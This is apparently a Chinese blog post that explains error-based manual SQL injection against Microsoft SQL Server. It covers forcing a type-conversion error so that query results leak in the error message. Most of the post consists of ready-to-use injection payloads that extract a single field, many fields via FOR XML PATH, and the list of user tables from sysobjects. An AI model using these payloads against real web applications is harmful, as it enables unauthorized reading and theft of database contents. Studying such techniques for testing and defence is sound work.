和朋友一起学习,速度就是快。感谢珍惜少年时

网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段。如下:

' and (查询一段内容)=1 and 'C'='C
nvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败。然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来。

由这个原理衍生出单字段查询。如下:

' and 0=(SELECT top 1 username FROM table) and 'C'='C

然后有衍生出多字段查询。如下:

' and 0=(SELECT top 100 username FROM table FOR XML PATH('')) and 'C'='C

最后根据MSSQL内置表特性和函数,写出如下:

' and 1=(select quotename(name) from 数据库名称..sysobjects where xtype='U' FOR XML PATH('')) and 'C'='C

如果SQL语句看不懂,请百度。

 

如果有问题欢迎纠正。

相关文章:

  • 2022-12-23
  • 2021-12-26
  • 2022-12-23
  • 2022-12-23
  • 2022-01-01
  • 2021-06-11
  • 2021-06-21
  • 2021-10-24
猜你喜欢
  • 2022-02-28
  • 2022-12-23
  • 2021-10-24
  • 2021-06-04
  • 2022-12-23
相关资源
相似解决方案